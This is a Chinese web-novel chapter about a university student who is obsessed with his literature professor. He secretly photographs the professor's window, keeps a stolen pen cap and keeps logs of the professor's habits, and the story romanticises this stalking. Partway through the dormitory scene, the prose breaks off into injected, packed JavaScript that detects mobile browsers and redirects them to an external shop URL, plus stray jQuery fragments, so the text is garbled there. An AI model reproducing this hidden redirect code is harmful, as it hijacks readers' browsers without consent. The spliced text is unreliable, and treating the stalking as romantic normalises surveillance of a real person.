下课后的教学楼走廊恢复了安静。
陆知许在座位上坐了足足五分钟，才慢慢站起身。手里的课本因为刚才的紧张而被捏出了细小的褶皱，他下意识地抚平书页，指尖却还在微微颤抖。
不是因为害怕。
是因为兴奋。
那种从心脏深处蔓延开来的、带着细微电流感的兴奋，让他几乎要控制不住嘴角上扬的冲动。
他深吸一口气，把表情调整回平日里那副温顺无害的样子，然后抱着课本走出了教室。
走廊里已经没什么人了。午后的阳光透过窗户在地面上投出菱形的光斑，空气中漂浮着细微的粉尘，在光束里缓缓沉浮。
陆知许没有直接回宿舍。
他绕到了教学楼另一侧的楼梯，那里有一扇窗户正对着教师办公楼的方向。他找了个隐蔽的角落站定，从书包里掏出手机，调到最大焦距。
镜头摇晃了几下，最终聚焦在五楼那扇熟悉的窗户上。
谢砚的办公室。
窗帘半开着，能隐约看见里面暖黄色的灯光。但距离太远了，看不清具体的人影。
陆知许拍了几张照片，又录了一段十五秒的视频。画面里，那扇窗户安静地亮着，像夜幕中一颗孤独的星。
他把视频保存，文件名标注上时间：9月10日 14:37，谢砚的窗。
做完这一切，他才转身离开。
但走了几步，又停了下来。
课代表要去拿教学大纲。
谢砚刚才在课堂上说的。
陆知许低头看了看自己衬衫上的咖啡渍——深褐色的印记在白色布料上格外刺眼。他又摸了摸口袋里的钢笔笔帽，金属的凉意透过薄薄的布料传递到皮肤上。
去，还是不去？
如果去，就要以这副狼狈的样子再次出现在谢砚面前。
如果不去……
陆知许的指尖收紧。
他怎么可能不去。
---
五楼，教师办公区。
走廊里铺着深灰色的地毯，踩上去几乎听不到脚步声。两侧的办公室门都紧闭着，门牌上印着教授们的名字和职称。
502室在走廊尽头。
陆知许站在门前，深呼吸了三次，才抬起手。
指节刚要碰到门板，门却从里面打开了。
谢砚站在门口，手里拿着一个黑色的保温杯，似乎正要出去接水。看到陆知许时，他明显愣了一下。
“教授……”陆知许小声开口，眼睛下意识地垂了下去，“我来拿教学大纲。”
谢砚的目光在他身上停留了几秒。
从湿漉漉的头发（陆知许刚才在洗手间用冷水冲了把脸），到衬衫上那片刺眼的咖啡渍，再到因为紧张而微微泛红的鼻尖。
“进来吧。”他侧身让开。
办公室不大，但布置得很雅致。
靠墙是一整排书柜，里面塞满了各种精装书和文献。窗前摆着一张宽大的实木办公桌，桌面上除了电脑和几叠文件，还有一个青瓷笔筒，里面插着几支钢笔。
其中一支，缺了个笔帽。
陆知许的视线在那支钢笔上停留了半秒，然后迅速移开。
“坐。”谢砚指了指办公桌对面的椅子。
陆知许小心翼翼地坐下，双手规矩地放在膝盖上，背挺得笔直——标准的乖学生坐姿。
谢砚走到饮水机旁，接了杯热水，然后从柜子里拿出一个纸杯，倒了点什么进去。
“喝吧。”他把纸杯推到陆知许面前。
温热的气息扑面而来。
是牛奶。
陆知许愣住了。
“你的手在抖。”谢砚重新坐回办公椅，语气平静，“补充点糖分会好一些。”
陆知许低头看向自己的手——确实在微微颤抖。他赶紧把手藏到桌子下面，耳尖更红了。
“谢、谢谢教授……”
他捧起纸杯，小口小口地喝着。温热的牛奶滑过喉咙，带着淡淡的甜味，确实让紧绷的神经放松了一些。
谢砚从抽屉里拿出一份文件，推到陆知许面前。
“这是本学期的教学大纲和阅读书目。”他说，“课代表需要负责收作业、发通知，偶尔可能需要帮我整理一些资料。可以胜任吗？”
“可以的！”陆知许立刻点头，声音因为急切而抬高了些，随即又不好意思地放轻，“我会认真做的……”
谢砚看着他因为点头而微微晃动的发梢，嘴角几不可察地弯了弯。
“另外，”他顿了顿，“关于那件衬衫。”
陆知许的身体瞬间僵住了。
“不用赔了。”谢砚说，“一件衬衫而已。”
“可是……”陆知许抬起头，眼睛里写满了不安，“那是我的错……”
“那就用别的方式补偿吧。”谢砚向后靠进椅背，双手交叠放在膝盖上，目光落在陆知许脸上，“这学期的课代表工作，认真做。就算补偿了。”
他的语气很平淡，像是在陈述一个再普通不过的事实。
但陆知许却觉得，那句话里藏着别的什么。
某种……暗示？
“我会的。”他认真地说，眼睛里闪着光，“我一定不会让您失望的，教授。”
谢砚点了点头，没再说什么。
办公室里安静下来，只有空调运转的微弱嗡鸣。窗外的阳光斜斜照进来，在谢砚的侧脸上投下睫毛的阴影。
陆知许捧着纸杯，视线忍不住飘向谢砚的手。
那只手现在正随意地搭在办公椅扶手上，指尖轻轻敲击着木质表面。骨节分明，手腕处凸起的腕骨随着动作若隐若现。
和记忆里那张照片上一模一样。
甚至更好看。
陆知许看得有些出神，直到谢砚突然开口：
“还有事吗？”
“啊……没有了！”陆知许猛地回神，慌乱地站起身，“那我先走了，教授！”
纸杯里的牛奶还剩一半，但他已经顾不上喝了。
“纸杯放这儿吧。”谢砚说。
陆知许乖乖把纸杯放回桌上，然后抱起那叠教学大纲，几乎是逃跑般地离开了办公室。
门轻轻关上。
办公室里重新恢复了安静。
谢砚坐在原地没动，目光落在那个纸杯上。
纸杯边缘还残留着一圈淡淡的奶渍，是陆知许喝过的地方。
谢砚看了几秒，然后伸手拿过纸杯，转了个方向，就着那个位置，把里面剩下的牛奶喝完了。
温热的液体滑过喉咙。
带着一丝若有似无的、不属于牛奶本身的味道。
像是某种水果的甜香。
是洗发水？还是沐浴露？
谢砚放下纸杯，指尖无意识地摩挲着杯壁上残留的温度。
然后他拉开抽屉，把那个空纸杯放了进去——和那件报废的丝绸衬衫放在一起。
抽屉合上，发出轻微的咔哒声。
---
走廊里，陆知许背靠着墙壁，大口喘着气。
他的心跳快得像要炸开，脸颊烫得厉害。刚才在办公室里的每一秒，都像是在走钢丝——既紧张又兴奋，既想逃跑又想靠近。
他低头看向手里的教学大纲。
最上面一页是谢砚手写的本学期课程安排，字迹遒劲有力，墨迹很深，像是用了很大的力气。
陆知许的指尖轻轻抚过那些字迹。
然后他做了个自己都觉得有点变态的举动——他把那页纸举起来，凑到鼻尖，深深吸了一口气。
淡淡的墨香。
还有一丝极淡的、谢砚身上的檀木香气。
陆知许闭上眼睛，把这口气在肺里停留了很久，才缓缓吐出。
他知道自己不对劲。
从一年前在图书馆第一次看到谢砚时就知道。
正常的学生不会把教授的照片存满手机，不会去捡教授掉落的头发，不会跟踪教授去常去的咖啡厅，更不会在不小心撞到教授后，兴奋得整夜睡不着。
但陆知许控制不了。
就像他控制不了此刻嘴角上扬的弧度。
他小心翼翼地把教学大纲收进书包最里层，然后拿出手机，点开加密相册。
新建文件夹：办公室，0903。
然后他开始打字记录：
14:52，第一次进谢砚的办公室。
办公室里有檀木香，和教授身上的味道一样。
书柜很满，最上层是剑桥时期的论文集（看到了书名）。
笔筒里有七支钢笔，其中一支是万宝龙，缺笔帽（我的口袋里）。
教授给我热牛奶，纸杯是普通的白色纸杯，他让我放那儿（我喝过的位置在杯口左侧）。
他的手搭在扶手上，敲击的频率是每分钟72次（和我心跳一样）。
走的时候太紧张，忘记多看几眼窗台上的那盆绿植（好像是多肉，下次要确认）。
打完这些字，陆知许又翻到之前拍的那段视频——谢砚办公室窗户的视频。
他戴上耳机，把音量调到最大。
视频里只有风吹过的背景音，和远处隐约的汽车鸣笛。
但陆知许闭上眼睛，仿佛能透过这十五秒的画面，看到窗内那个坐在办公桌前的身影。
修长的手指握着钢笔。
睫毛垂下来，在眼下投出浅浅的阴影。
或许在写教案，或许在看论文，又或许……在想起今天那个撞翻他咖啡的笨拙学生。
陆知许希望是最后一种。
---
傍晚，宿舍。
陆知许一进门，就被三个室友团团围住。
“老陆！听说你今天干了件大事？”说话的是睡陆知许对床的陈宇，一米八五的体育生，此刻正挤眉弄眼地笑着。
陆知许心里一紧，表面却装出茫然的样子：“什么？”
“还装！”另一个室友李锐拍了下他的肩，“全院都传遍了！开学第一课，你把谢教授的咖啡撞翻了，还泼了人家一身！”
“那可是谢砚啊！”第三个室友张子轩夸张地捂住胸口，“文学院高岭之花，多少学姐学妹的梦中情人，你就这么把咖啡往人家身上泼？故意的吧？”
陆知许的脸腾地红了：“我不是故意的……”
“知道知道，你哪有那个胆子。”陈宇揽住他的肩，“不过说真的，谢教授没生气？我听隔壁班的说，他那件衬衫看着就贵，丝质的，得四位数吧？”
“教授说不用赔。”陆知许小声说。
“哇靠，人这么好？”李锐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301336|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挑眉，“不过也是，谢教授本来口碑就好，虽然看着高冷，但对学生一直挺宽容的。”
张子轩突然凑近，盯着陆知许的衬衫：“你这衣服……没换？”
陆知许这才想起，自己还穿着那件沾满咖啡渍的衬衫。
“忘了……”他含糊地说，转身想去拿换洗衣服。
“等等。”陈宇拉住他，眼神变得有些微妙，“老陆，你不对劲。”
陆知许身体一僵。
“按你的性格，衣服脏成这样，第一件事肯定是回宿舍换掉。”陈宇摸着下巴，“而且你这一下午干嘛去了？三点就下课了，现在六点才回来。”
“我……我去图书馆了。”陆知许说。
“图书馆？”李锐挑眉，“那你书包里怎么一本专业书都没有？”
陆知许这才想起，自己的书包里除了谢砚给的教学大纲，就只有那本《中国古代文学专题》教材——而教材，他下午根本没打开过。
“我……”他张了张嘴，却不知道该说什么。
三个室友对视一眼，脸上的表情更加玩味。
“老实交代。”张子轩压低声音，“是不是……去见什么人了？”
陆知许的心脏狠狠跳了一下。
“没有！”他立刻否认，声音因为急促而显得有些尖，“我就是……就是去教学楼后面散了会儿步，想事情……”
“想什么需要想三个小时？”陈宇追问。
陆知许答不上来了。
他总不能说，自己在谢砚办公室楼下站了一个小时，又绕到能看见那扇窗户的地方站了一个小时，最后在校园里漫无目的地走了很久，满脑子都是谢砚给他牛奶时的那句话。
“你的手在抖。”
谢砚注意到了。
注意到了他最细微的颤抖。
这个认知让陆知许整个下午都处于一种轻飘飘的、不真实的状态里。
“行了行了，别逗他了。”李锐拍了拍陈宇的肩，“老陆脸皮薄你又不是不知道。”
陈宇这才松开手，但还是用那种探究的眼神看着陆知许：“不过说真的，老陆，你今天确实怪怪的。”
陆知许低下头，抱着换洗衣服快步走向浴室：“我去洗澡了。”
浴室门关上，隔绝了外面的视线。
陆知许背靠着门板，缓缓滑坐到地上。
他抱着膝盖，把脸埋进臂弯里。
过了很久，浴室里响起压抑的、低低的笑声。
---
深夜，十一点。
宿舍已经熄灯，室友们都睡着了，发出均匀的呼吸声。
陆知许躲在被子里，手机屏幕的光照亮了他的脸。
他正在整理今天的“收获”。
照片、视频、文字记录，还有……那枚钢笔笔帽。
他把笔帽放在枕边，伸手就能摸到的地方。金属在夜色里泛着微光，像一颗小小的月亮。
然后他点开加密相册，翻到了最古老的那一张照片。
那是一年前，谢砚在图书馆报告厅做讲座时拍下的。
照片里的谢砚穿着深灰色的西装，站在讲台后，一手撑着桌面，另一只手拿着激光笔。侧脸线条干净利落，眼神专注地看着PPT，嘴角带着浅浅的、职业化的微笑。
那是陆知许第一次见到谢砚。
也是他第一次知道，原来心跳可以快成这样。
原来光是看着一个人，就能感觉到从心脏蔓延到四肢百骸的、酸涩又甜蜜的疼痛。
他盯着那张照片看了很久，然后切换到今天拍的新照片——谢砚办公室的窗户，午后的阳光，拉了一半的窗帘。
新旧照片放在一起，像是在看一场缓慢的、历时一年的靠近。
从报告厅的最后一排，到教室的后排，再到……他的办公室。
距离在缩短。
虽然还是很远，但至少，今天谢砚记住了他的名字（或者说，记住了“那个衬衫沾了咖啡的学生”），给了他牛奶，让他做了课代表。
陆知许把手机按在胸口，闭上眼睛。
脑海里又浮现出谢砚说“你的手在抖”时的样子。
语气平淡，眼神却很深。
像寂静的湖面，底下藏着看不清的漩涡。
陆知许知道那可能是自己想多了。
谢砚可能只是随口一说，可能只是出于师长的关心，可能对每个学生都这样。
但他还是忍不住去揣测，去幻想，去给每一个细节加上自己想要的解读。
因为如果不这样，这一年来的暗恋就太苦了。
苦到需要靠这些微小的、可能根本不存在的“特殊”，才能支撑下去。
被子里，陆知许的指尖轻轻摩挲着钢笔笔帽上的刻字。
To Y.Xie, Cambridge, 2019.
Y.Xie。
谢砚。
他的月亮教授。
窗外，真正的月亮升到了中天，清冷的月光透过窗帘缝隙洒进来，落在少年微微颤抖的睫毛上。
枕头下，手机屏幕还亮着，显示着那张一年前的照片。
照片里的谢砚在微笑。
而被窝里的陆知许，也正对着那枚钢笔笔帽，露出一个很轻、很柔软的、只存在于黑暗中的笑容。